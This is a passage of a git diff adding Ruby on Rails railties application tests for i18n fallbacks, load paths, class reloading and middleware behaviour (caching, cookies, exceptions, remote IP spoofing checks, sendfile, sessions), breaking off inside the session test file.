+ assert_equal expected, actual, "expected fallbacks for #{locale.inspect} to be #{expected.inspect}, but were #{actual.inspect}"
+ end
+ end
+
+ def assert_no_fallbacks
+ assert !I18n.backend.class.included_modules.include?(I18n::Backend::Fallbacks)
+ end
+
+ # Locales
+ test "setting another default locale" do
+ add_to_config <<-RUBY
+ config.i18n.default_locale = :de
+ RUBY
+
+ load_app
+ assert_equal :de, I18n.default_locale
+ end
+
+ # Load paths
+ test "no config locales directory present should return empty load path" do
+ FileUtils.rm_rf "#{app_path}/config/locales"
+ load_app
+ assert_equal [], Rails.application.config.i18n.load_path
+ end
+
+ test "locale files should be added to the load path" do
+ app_file "config/another_locale.yml", "en:\nfoo: ~"
+
+ add_to_config <<-RUBY
+ config.i18n.load_path << config.root.join("config/another_locale.yml").to_s
+ RUBY
+
+ load_app
+ assert_equal [
+ "#{app_path}/config/locales/en.yml", "#{app_path}/config/another_locale.yml"
+ ], Rails.application.config.i18n.load_path
+
+ assert I18n.load_path.include?("#{app_path}/config/locales/en.yml")
+ assert I18n.load_path.include?("#{app_path}/config/another_locale.yml")
+ end
+
+ test "load_path is populated before eager loaded models" do
+ add_to_config <<-RUBY
+ config.cache_classes = true
+ RUBY
+
+ app_file "config/locales/en.yml", <<-YAML
+en:
+ foo: "1"
+ YAML
+
+ app_file 'app/models/foo.rb', <<-RUBY
+ class Foo < ActiveRecord::Base
+ @foo = I18n.t(:foo)
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/i18n', :to => lambda { |env| [200, {}, [Foo.instance_variable_get('@foo')]] }
+ end
+ RUBY
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+ load_app
+
+ get "/i18n"
+ assert_equal "1", last_response.body
+ end
+
+ test "locales are reloaded if they change between requests" do
+ add_to_config <<-RUBY
+ config.cache_classes = false
+ RUBY
+
+ app_file "config/locales/en.yml", <<-YAML
+en:
+ foo: "1"
+ YAML
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/i18n', :to => lambda { |env| [200, {}, [I18n.t(:foo)]] }
+ end
+ RUBY
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+ load_app
+
+ get "/i18n"
+ assert_equal "1", last_response.body
+
+ # Wait a full second so we have time for changes to propagate
+ sleep(1)
+
+ app_file "config/locales/en.yml", <<-YAML
+en:
+ foo: "2"
+ YAML
+
+ get "/i18n"
+ assert_equal "2", last_response.body
+ end
+
+ # Fallbacks
+ test "not using config.i18n.fallbacks does not initialize I18n.fallbacks" do
+ I18n.backend = Class.new(I18n::Backend::Simple).new
+ load_app
+ assert_no_fallbacks
+ end
+
+ test "config.i18n.fallbacks = true initializes I18n.fallbacks with default settings" do
+ I18n::Railtie.config.i18n.fallbacks = true
+ load_app
+ assert I18n.backend.class.included_modules.include?(I18n::Backend::Fallbacks)
+ assert_fallbacks de: [:de, :en]
+ end
+
+ test "config.i18n.fallbacks = true initializes I18n.fallbacks with default settings even when backend changes" do
+ I18n::Railtie.config.i18n.fallbacks = true
+ I18n::Railtie.config.i18n.backend = Class.new(I18n::Backend::Simple).new
+ load_app
+ assert I18n.backend.class.included_modules.include?(I18n::Backend::Fallbacks)
+ assert_fallbacks de: [:de, :en]
+ end
+
+ test "config.i18n.fallbacks.defaults = [:'en-US'] initializes fallbacks with en-US as a fallback default" do
+ I18n::Railtie.config.i18n.fallbacks.defaults = [:'en-US']
+ load_app
+ assert_fallbacks de: [:de, :'en-US', :en]
+ end
+
+ test "config.i18n.fallbacks.map = { :ca => :'es-ES' } initializes fallbacks with a mapping ca => es-ES" do
+ I18n::Railtie.config.i18n.fallbacks.map = { :ca => :'es-ES' }
+ load_app
+ assert_fallbacks ca: [:ca, :"es-ES", :es, :en]
+ end
+
+ test "[shortcut] config.i18n.fallbacks = [:'en-US'] initializes fallbacks with en-US as a fallback default" do
+ I18n::Railtie.config.i18n.fallbacks = [:'en-US']
+ load_app
+ assert_fallbacks de: [:de, :'en-US', :en]
+ end
+
+ test "[shortcut] config.i18n.fallbacks = [{ :ca => :'es-ES' }] initializes fallbacks with a mapping de-AT => de-DE" do
+ I18n::Railtie.config.i18n.fallbacks.map = { :ca => :'es-ES' }
+ load_app
+ assert_fallbacks ca: [:ca, :"es-ES", :es, :en]
+ end
+
+ test "[shortcut] config.i18n.fallbacks = [:'en-US', { :ca => :'es-ES' }] initializes fallbacks with the given arguments" do
+ I18n::Railtie.config.i18n.fallbacks = [:'en-US', { :ca => :'es-ES' }]
+ load_app
+ assert_fallbacks ca: [:ca, :"es-ES", :es, :'en-US', :en]
+ end
+ end
+end
diff --git a/railties/test/application/initializers/load_path_test.rb b/railties/test/application/initializers/load_path_test.rb
new file mode 100644
index 0000000..0c66213
--- /dev/null
+++ b/railties/test/application/initializers/load_path_test.rb
@@ -0,0 +1,96 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+ class LoadPathTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf "#{app_path}/config/environments"
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "initializing an application adds the application paths to the load path" do
+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert $:.include?("#{app_path}/app/models")
+ end
+
+ test "initializing an application allows to load code on lib path inside application class definition" do
+ app_file "lib/foo.rb", <<-RUBY
+ module Foo; end
+ RUBY
+
+ add_to_config <<-RUBY
+ require "foo"
+ raise "Expected Foo to be defined" unless defined?(Foo)
+ RUBY
+
+ assert_nothing_raised do
+ require "#{app_path}/config/environment"
+ end
+
+ assert $:.include?("#{app_path}/lib")
+ end
+
+ test "initializing an application eager load any path under app" do
+ app_file "app/anything/foo.rb", <<-RUBY
+ module Foo; end
+ RUBY
+
+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert Foo
+ end
+
+ test "eager loading loads parent classes before children" do
+ app_file "lib/zoo.rb", <<-ZOO
+ class Zoo ; include ReptileHouse ; end
+ ZOO
+
+ app_file "lib/zoo/reptile_house.rb", <<-ZOO
+ module Zoo::ReptileHouse ; end
+ ZOO
+
+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ config.eager_load_paths << "#{app_path}/lib"
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert Zoo
+ end
+
+ test "load environment with global" do
+ $initialize_test_set_from_env = nil
+ app_file "config/environments/development.rb", <<-RUBY
+ $initialize_test_set_from_env = 'success'
+ AppTemplate::Application.configure do
+ config.cache_classes = true
+ config.time_zone = "Brasilia"
+ end
+ RUBY
+
+ assert_nil $initialize_test_set_from_env
+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ config.time_zone = "UTC"
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert_equal "success", $initialize_test_set_from_env
+ assert AppTemplate::Application.config.cache_classes
+ assert_equal "Brasilia", AppTemplate::Application.config.time_zone
+ end
+ end
+end
diff --git a/railties/test/application/initializers/notifications_test.rb b/railties/test/application/initializers/notifications_test.rb
new file mode 100644
index 0000000..baae6fd
--- /dev/null
+++ b/railties/test/application/initializers/notifications_test.rb
@@ -0,0 +1,43 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+ class NotificationsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def instrument(*args, &block)
+ ActiveSupport::Notifications.instrument(*args, &block)
+ end
+
+ def wait
+ ActiveSupport::Notifications.notifier.wait
+ end
+
+ test "rails log_subscribers are added" do
+ add_to_config <<-RUBY
+ config.colorize_logging = false
+ RUBY
+
+ require "#{app_path}/config/environment"
+ require "active_support/log_subscriber/test_helper"
+
+ logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+ ActiveRecord::Base.logger = logger
+
+ # Mimic Active Record notifications
+ instrument "sql.active_record", name: "SQL", sql: "SHOW tables"
+ wait
+
+ assert_equal 1, logger.logged(:debug).size
+ assert_match(/SHOW tables/, logger.logged(:debug).last)
+ end
+ end
+end
diff --git a/railties/test/application/loading_test.rb b/railties/test/application/loading_test.rb
new file mode 100644
index 0000000..ad7172c
--- /dev/null
+++ b/railties/test/application/loading_test.rb
@@ -0,0 +1,308 @@
+require 'isolation/abstract_unit'
+
+class LoadingTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def app
+ @app ||= Rails.application
+ end
+
+ test "constants in app are autoloaded" do
+ app_file "app/models/post.rb", <<-MODEL
+ class Post < ActiveRecord::Base
+ validates_acceptance_of :title, accept: "omg"
+ end
+ MODEL
+
+ require "#{rails_root}/config/environment"
+ setup_ar!
+
+ p = Post.create(title: 'omg')
+ assert_equal 1, Post.count
+ assert_equal 'omg', p.title
+ p = Post.first
+ assert_equal 'omg', p.title
+ end
+
+ test "models without table do not panic on scope definitions when loaded" do
+ app_file "app/models/user.rb", <<-MODEL
+ class User < ActiveRecord::Base
+ default_scope where(published: true)
+ end
+ MODEL
+
+ require "#{rails_root}/config/environment"
+ setup_ar!
+
+ User
+ end
+
+ test "load config/environments/environment before Bootstrap initializers" do
+ app_file "config/environments/development.rb", <<-RUBY
+ AppTemplate::Application.configure do
+ config.development_environment_loaded = true
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ config.before_initialize do
+ config.loaded = config.development_environment_loaded
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert ::AppTemplate::Application.config.loaded
+ end
+
+ test "descendants loaded after framework initialization are cleaned on each request without cache classes" do
+ add_to_config <<-RUBY
+ config.cache_classes = false
+ config.reload_classes_only_on_change = false
+ RUBY
+
+ app_file "app/models/post.rb", <<-MODEL
+ class Post < ActiveRecord::Base
+ end
+ MODEL
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/load', to: lambda { |env| [200, {}, Post.all] }
+ get '/unload', to: lambda { |env| [200, {}, []] }
+ end
+ RUBY
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ require "#{rails_root}/config/environment"
+ setup_ar!
+
+ assert_equal [ActiveRecord::SchemaMigration], ActiveRecord::Base.descendants
+ get "/load"
+ assert_equal [ActiveRecord::SchemaMigration, Post], ActiveRecord::Base.descendants
+ get "/unload"
+ assert_equal [ActiveRecord::SchemaMigration], ActiveRecord::Base.descendants
+ end
+
+ test "initialize cant be called twice" do
+ require "#{app_path}/config/environment"
+ assert_raise(RuntimeError) { ::AppTemplate::Application.initialize! }
+ end
+
+ test "reload constants on development" do
+ add_to_config <<-RUBY
+ config.cache_classes = false
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/c', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [User.counter.to_s]] }
+ end
+ RUBY
+
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ def self.counter; 1; end
+ end
+ MODEL
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ require "#{rails_root}/config/environment"
+
+ get "/c"
+ assert_equal "1", last_response.body
+
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ def self.counter; 2; end
+ end
+ MODEL
+
+ get "/c"
+ assert_equal "2", last_response.body
+ end
+
+ test "does not reload constants on development if custom file watcher always returns false" do
+ add_to_config <<-RUBY
+ config.cache_classes = false
+ config.file_watcher = Class.new do
+ def initialize(*); end
+ def updated?; false; end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/c', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [User.counter.to_s]] }
+ end
+ RUBY
+
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ def self.counter; 1; end
+ end
+ MODEL
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ require "#{rails_root}/config/environment"
+
+ get "/c"
+ assert_equal "1", last_response.body
+
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ def self.counter; 2; end
+ end
+ MODEL
+
+ get "/c"
+ assert_equal "1", last_response.body
+ end
+
+ test "added files (like db/schema.rb) also trigger reloading" do
+ add_to_config <<-RUBY
+ config.cache_classes = false
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ $counter = 0
+ AppTemplate::Application.routes.draw do
+ get '/c', to: lambda { |env| User; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] }
+ end
+ RUBY
+
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ $counter += 1
+ end
+ MODEL
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ require "#{rails_root}/config/environment"
+
+ get "/c"
+ assert_equal "1", last_response.body
+
+ app_file "db/schema.rb", ""
+
+ get "/c"
+ assert_equal "2", last_response.body
+ end
+
+ test "columns migrations also trigger reloading" do
+ add_to_config <<-RUBY
+ config.cache_classes = false
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/title', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [Post.new.title]] }
+ get '/body', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [Post.new.body]] }
+ end
+ RUBY
+
+ app_file "app/models/post.rb", <<-MODEL
+ class Post < ActiveRecord::Base
+ end
+ MODEL
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ app_file "db/migrate/1_create_posts.rb", <<-MIGRATION
+ class CreatePosts < ActiveRecord::Migration
+ def change
+ create_table :posts do |t|
+ t.string :title, default: "TITLE"
+ end
+ end
+ end
+ MIGRATION
+
+ Dir.chdir(app_path) { `rake db:migrate`}
+ require "#{rails_root}/config/environment"
+
+ get "/title"
+ assert_equal "TITLE", last_response.body
+
+ app_file "db/migrate/2_add_body_to_posts.rb", <<-MIGRATION
+ class AddBodyToPosts < ActiveRecord::Migration
+ def change
+ add_column :posts, :body, :text, default: "BODY"
+ end
+ end
+ MIGRATION
+
+ Dir.chdir(app_path) { `rake db:migrate` }
+
+ get "/body"
+ assert_equal "BODY", last_response.body
+ end
+
+ test "AC load hooks can be used with metal" do
+ app_file "app/controllers/omg_controller.rb", <<-RUBY
+ begin
+ class OmgController < ActionController::Metal
+ ActiveSupport.run_load_hooks(:action_controller, self)
+ def show
+ self.response_body = ["OK"]
+ end
+ end
+ rescue => e
+ puts "Error loading metal: \#{e.class} \#{e.message}"
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get "/:controller(/:action)"
+ end
+ RUBY
+
+ require "#{rails_root}/config/environment"
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ get '/omg/show'
+ assert_equal 'OK', last_response.body
+ end
+
+ def test_initialize_can_be_called_at_any_time
+ require "#{app_path}/config/application"
+
+ assert !Rails.initialized?
+ assert !AppTemplate::Application.initialized?
+ Rails.initialize!
+ assert Rails.initialized?
+ assert AppTemplate::Application.initialized?
+ end
+
+ protected
+
+ def setup_ar!
+ ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+ ActiveRecord::Migration.verbose = false
+ ActiveRecord::Schema.define(version: 1) do
+ create_table :posts do |t|
+ t.string :title
+ end
+ end
+ end
+end
diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb
new file mode 100644
index 0000000..b8e0c9b
--- /dev/null
+++ b/railties/test/application/middleware/cache_test.rb
@@ -0,0 +1,180 @@
+require 'isolation/abstract_unit'
+
+module ApplicationTests
+ class CacheTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ require 'rack/test'
+ extend Rack::Test::Methods
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def simple_controller
+ controller :expires, <<-RUBY
+ class ExpiresController < ApplicationController
+ def expires_header
+ expires_in 10, public: !params[:private]
+ render text: SecureRandom.hex(16)
+ end
+
+ def expires_etag
+ render_conditionally(etag: "1")
+ end
+
+ def expires_last_modified
+ $last_modified ||= Time.now.utc
+ render_conditionally(last_modified: $last_modified)
+ end
+
+ def keeps_if_modified_since
+ render :text => request.headers['If-Modified-Since']
+ end
+ private
+ def render_conditionally(headers)
+ if stale?(headers.merge(public: !params[:private]))
+ render text: SecureRandom.hex(16)
+ end
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get ':controller(/:action)'
+ end
+ RUBY
+ end
+
+ def test_cache_keeps_if_modified_since
+ simple_controller
+ expected = "Wed, 30 May 1984 19:43:31 GMT"
+
+ get "/expires/keeps_if_modified_since", {}, "HTTP_IF_MODIFIED_SINCE" => expected
+
+ assert_equal 200, last_response.status
+ assert_equal expected, last_response.body, "cache should have kept If-Modified-Since"
+ end
+
+ def test_cache_is_disabled_in_dev_mode
+ simple_controller
+ app("development")
+
+ get "/expires/expires_header"
+ assert_nil last_response.headers['X-Rack-Cache']
+
+ body = last_response.body
+
+ get "/expires/expires_header"
+ assert_nil last_response.headers['X-Rack-Cache']
+ assert_not_equal body, last_response.body
+ end
+
+ def test_cache_works_with_expires
+ simple_controller
+
+ add_to_config "config.action_dispatch.rack_cache = true"
+
+ get "/expires/expires_header"
+ assert_equal "miss, ignore, store", last_response.headers["X-Rack-Cache"]
+ assert_equal "max-age=10, public", last_response.headers["Cache-Control"]
+
+ body = last_response.body
+
+ get "/expires/expires_header"
+
+ assert_equal "fresh", last_response.headers["X-Rack-Cache"]
+
+ assert_equal body, last_response.body
+ end
+
+ def test_cache_works_with_expires_private
+ simple_controller
+
+ add_to_config "config.action_dispatch.rack_cache = true"
+
+ get "/expires/expires_header", private: true
+ assert_equal "miss", last_response.headers["X-Rack-Cache"]
+ assert_equal "private, max-age=10", last_response.headers["Cache-Control"]
+
+ body = last_response.body
+
+ get "/expires/expires_header", private: true
+ assert_equal "miss", last_response.headers["X-Rack-Cache"]
+ assert_not_equal body, last_response.body
+ end
+
+ def test_cache_works_with_etags
+ simple_controller
+
+ add_to_config "config.action_dispatch.rack_cache = true"
+
+ get "/expires/expires_etag"
+ assert_equal "miss, ignore, store", last_response.headers["X-Rack-Cache"]
+ assert_equal "public", last_response.headers["Cache-Control"]
+
+ body = last_response.body
+ etag = last_response.headers["ETag"]
+
+ get "/expires/expires_etag", {}, "If-None-Match" => etag
+ assert_equal "stale, valid, store", last_response.headers["X-Rack-Cache"]
+ assert_equal body, last_response.body
+ end
+
+ def test_cache_works_with_etags_private
+ simple_controller
+
+ add_to_config "config.action_dispatch.rack_cache = true"
+
+ get "/expires/expires_etag", private: true
+ assert_equal "miss", last_response.headers["X-Rack-Cache"]
+ assert_equal "must-revalidate, private, max-age=0", last_response.headers["Cache-Control"]
+
+ body = last_response.body
+ etag = last_response.headers["ETag"]
+
+ get "/expires/expires_etag", {private: true}, "If-None-Match" => etag
+ assert_equal "miss", last_response.headers["X-Rack-Cache"]
+ assert_not_equal body, last_response.body
+ end
+
+ def test_cache_works_with_last_modified
+ simple_controller
+
+ add_to_config "config.action_dispatch.rack_cache = true"
+
+ get "/expires/expires_last_modified"
+ assert_equal "miss, ignore, store", last_response.headers["X-Rack-Cache"]
+ assert_equal "public", last_response.headers["Cache-Control"]
+
+ body = last_response.body
+ last = last_response.headers["Last-Modified"]
+
+ get "/expires/expires_last_modified", {}, "If-Modified-Since" => last
+ assert_equal "stale, valid, store", last_response.headers["X-Rack-Cache"]
+ assert_equal body, last_response.body
+ end
+
+ def test_cache_works_with_last_modified_private
+ simple_controller
+
+ add_to_config "config.action_dispatch.rack_cache = true"
+
+ get "/expires/expires_last_modified", private: true
+ assert_equal "miss", last_response.headers["X-Rack-Cache"]
+ assert_equal "must-revalidate, private, max-age=0", last_response.headers["Cache-Control"]
+
+ body = last_response.body
+ last = last_response.headers["Last-Modified"]
+
+ get "/expires/expires_last_modified", {private: true}, "If-Modified-Since" => last
+ assert_equal "miss", last_response.headers["X-Rack-Cache"]
+ assert_not_equal body, last_response.body
+ end
+ end
+end
diff --git a/railties/test/application/middleware/cookies_test.rb b/railties/test/application/middleware/cookies_test.rb
new file mode 100644
index 0000000..bbb7627
--- /dev/null
+++ b/railties/test/application/middleware/cookies_test.rb
@@ -0,0 +1,47 @@
+require 'isolation/abstract_unit'
+
+module ApplicationTests
+ class CookiesTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def new_app
+ File.expand_path("#{app_path}/../new_app")
+ end
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf("#{app_path}/config/environments")
+ end
+
+ def teardown
+ teardown_app
+ FileUtils.rm_rf(new_app) if File.directory?(new_app)
+ end
+
+ test 'always_write_cookie is true by default in development' do
+ require 'rails'
+ Rails.env = 'development'
+ require "#{app_path}/config/environment"
+ assert_equal true, ActionDispatch::Cookies::CookieJar.always_write_cookie
+ end
+
+ test 'always_write_cookie is false by default in production' do
+ require 'rails'
+ Rails.env = 'production'
+ require "#{app_path}/config/environment"
+ assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie
+ end
+
+ test 'always_write_cookie can be overridden' do
+ add_to_config <<-RUBY
+ config.action_dispatch.always_write_cookie = false
+ RUBY
+
+ require 'rails'
+ Rails.env = 'development'
+ require "#{app_path}/config/environment"
+ assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie
+ end
+ end
+end
diff --git a/railties/test/application/middleware/exceptions_test.rb b/railties/test/application/middleware/exceptions_test.rb
new file mode 100644
index 0000000..42096cf
--- /dev/null
+++ b/railties/test/application/middleware/exceptions_test.rb
@@ -0,0 +1,111 @@
+# encoding: utf-8
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+ class MiddlewareExceptionsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "show exceptions middleware filter backtrace before logging" do
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ def index
+ raise 'oops'
+ end
+ end
+ RUBY
+
+ get "/foo"
+ assert_equal 500, last_response.status
+
+ log = File.read(Rails.application.config.paths["log"].first)
+ assert_no_match(/action_dispatch/, log, log)
+ assert_match(/oops/, log, log)
+ end
+
+ test "renders active record exceptions as 404" do
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ def index
+ raise ActiveRecord::RecordNotFound
+ end
+ end
+ RUBY
+
+ get "/foo"
+ assert_equal 404, last_response.status
+ end
+
+ test "uses custom exceptions app" do
+ add_to_config <<-RUBY
+ config.exceptions_app = lambda do |env|
+ [404, { "Content-Type" => "text/plain" }, ["YOU FAILED BRO"]]
+ end
+ RUBY
+
+ app.config.action_dispatch.show_exceptions = true
+
+ get "/foo"
+ assert_equal 404, last_response.status
+ assert_equal "YOU FAILED BRO", last_response.body
+ end
+
+ test "unspecified route when action_dispatch.show_exceptions is not set raises an exception" do
+ app.config.action_dispatch.show_exceptions = false
+
+ assert_raise(ActionController::RoutingError) do
+ get '/foo'
+ end
+ end
+
+ test "unspecified route when action_dispatch.show_exceptions is set shows 404" do
+ app.config.action_dispatch.show_exceptions = true
+
+ assert_nothing_raised(ActionController::RoutingError) do
+ get '/foo'
+ assert_match "The page you were looking for doesn't exist.", last_response.body
+ end
+ end
+
+ test "unspecified route when action_dispatch.show_exceptions and consider_all_requests_local are set shows diagnostics" do
+ app.config.action_dispatch.show_exceptions = true
+ app.config.consider_all_requests_local = true
+
+ assert_nothing_raised(ActionController::RoutingError) do
+ get '/foo'
+ assert_match "No route matches", last_response.body
+ end
+ end
+
+ test "displays diagnostics message when exception raised in template that contains UTF-8" do
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ def index
+ end
+ end
+ RUBY
+
+ app.config.action_dispatch.show_exceptions = true
+ app.config.consider_all_requests_local = true
+
+ app_file 'app/views/foo/index.html.erb', <<-ERB
+ <% raise 'boooom' %>
+ ✓測試テスト시험
+ ERB
+
+ get '/foo', :utf8 => '✓'
+ assert_match(/boooom/, last_response.body)
+ assert_match(/測試テスト시험/, last_response.body)
+ end
+ end
+end
diff --git a/railties/test/application/middleware/remote_ip_test.rb b/railties/test/application/middleware/remote_ip_test.rb
new file mode 100644
index 0000000..91c5807
--- /dev/null
+++ b/railties/test/application/middleware/remote_ip_test.rb
@@ -0,0 +1,54 @@
+require 'isolation/abstract_unit'
+require 'active_support/key_generator'
+
+module ApplicationTests
+ class RemoteIpTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def remote_ip(env = {})
+ remote_ip = nil
+ env = Rack::MockRequest.env_for("/").merge(env).merge!(
+ 'action_dispatch.show_exceptions' => false,
+ 'action_dispatch.key_generator' => ActiveSupport::LegacyKeyGenerator.new('b3c631c314c0bbca50c1b2843150fe33')
+ )
+
+ endpoint = Proc.new do |e|
+ remote_ip = ActionDispatch::Request.new(e).remote_ip
+ [200, {}, ["Hello"]]
+ end
+
+ Rails.application.middleware.build(endpoint).call(env)
+ remote_ip
+ end
+
+ test "remote_ip works" do
+ make_basic_app
+ assert_equal "1.1.1.1", remote_ip("REMOTE_ADDR" => "1.1.1.1")
+ end
+
+ test "checks IP spoofing by default" do
+ make_basic_app
+ assert_raises(ActionDispatch::RemoteIp::IpSpoofAttackError) do
+ remote_ip("HTTP_X_FORWARDED_FOR" => "1.1.1.1", "HTTP_CLIENT_IP" => "1.1.1.2")
+ end
+ end
+
+ test "can disable IP spoofing check" do
+ make_basic_app do |app|
+ app.config.action_dispatch.ip_spoofing_check = false
+ end
+
+ assert_nothing_raised(ActionDispatch::RemoteIp::IpSpoofAttackError) do
+ assert_equal "1.1.1.1", remote_ip("HTTP_X_FORWARDED_FOR" => "1.1.1.1", "HTTP_CLIENT_IP" => "1.1.1.2")
+ end
+ end
+
+ test "the user can set trusted proxies" do
+ make_basic_app do |app|
+ app.config.action_dispatch.trusted_proxies = /^4\.2\.42\.42$/
+ end
+
+ assert_equal "1.1.1.1", remote_ip("REMOTE_ADDR" => "4.2.42.42,1.1.1.1")
+ end
+ end
+end
diff --git a/railties/test/application/middleware/sendfile_test.rb b/railties/test/application/middleware/sendfile_test.rb
new file mode 100644
index 0000000..eb791f5
--- /dev/null
+++ b/railties/test/application/middleware/sendfile_test.rb
@@ -0,0 +1,74 @@
+require 'isolation/abstract_unit'
+
+module ApplicationTests
+ class SendfileTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf "#{app_path}/config/environments"
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def app
+ @app ||= Rails.application
+ end
+
+ define_method :simple_controller do
+ class ::OmgController < ActionController::Base
+ def index
+ send_file __FILE__
+ end
+ end
+ end
+
+ # x_sendfile_header middleware
+ test "config.action_dispatch.x_sendfile_header defaults to nil" do
+ make_basic_app
+ simple_controller
+
+ get "/"
+ assert !last_response.headers["X-Sendfile"]
+ assert_equal File.read(__FILE__), last_response.body
+ end
+
+ test "config.action_dispatch.x_sendfile_header can be set" do
+ make_basic_app do |app|
+ app.config.action_dispatch.x_sendfile_header = "X-Sendfile"
+ end
+
+ simple_controller
+
+ get "/"
+ assert_equal File.expand_path(__FILE__), last_response.headers["X-Sendfile"]
+ end
+
+ test "config.action_dispatch.x_sendfile_header is sent to Rack::Sendfile" do
+ make_basic_app do |app|
+ app.config.action_dispatch.x_sendfile_header = 'X-Lighttpd-Send-File'
+ end
+
+ simple_controller
+
+ get "/"
+ assert_equal File.expand_path(__FILE__), last_response.headers["X-Lighttpd-Send-File"]
+ end
+
+ test "files handled by ActionDispatch::Static are handled by Rack::Sendfile" do
+ make_basic_app do |app|
+ app.config.action_dispatch.x_sendfile_header = 'X-Sendfile'
+ app.config.serve_static_assets = true
+ app.paths["public"] = File.join(rails_root, "public")
+ end
+
+ app_file "public/foo.txt", "foo"
+
+ get "/foo.txt", "HTTP_X_SENDFILE_TYPE" => "X-Sendfile"
+ assert_equal File.join(rails_root, "public/foo.txt"), last_response.headers["X-Sendfile"]
+ end
+ end
+end
diff --git a/railties/test/application/middleware/session_test.rb b/railties/test/application/middleware/session_test.rb
new file mode 100644
index 0000000..8cb0dfe
--- /dev/null
+++ b/railties/test/application/middleware/session_test.rb
@@ -0,0 +1,343 @@
+# encoding: utf-8
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+ class MiddlewareSessionTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf "#{app_path}/config/environments"
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def app
+ @app ||= Rails.application
+ end
+
+ test "config.force_ssl sets cookie to secure only" do
+ add_to_config "config.force_ssl = true"
+ require "#{app_path}/config/environment"
+ assert app.config.session_options[:secure], "Expected session to be marked as secure"
+ end
+
+ test "session is not loaded if it's not used" do
+ make_basic_app
+
+ class ::OmgController < ActionController::Base
+ def index
+ if params[:flash]
+ flash[:notice] = "notice"
+ end
+
+ render nothing: true
+ end
+ end
+
+ get "/?flash=true"
+ get "/"
+
+ assert last_request.env["HTTP_COOKIE"]
+ assert !last_response.headers["Set-Cookie"]
+ end
+
+ test "session is empty and isn't saved on unverified request when using :null_session protect method" do
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get ':controller(/:action)'
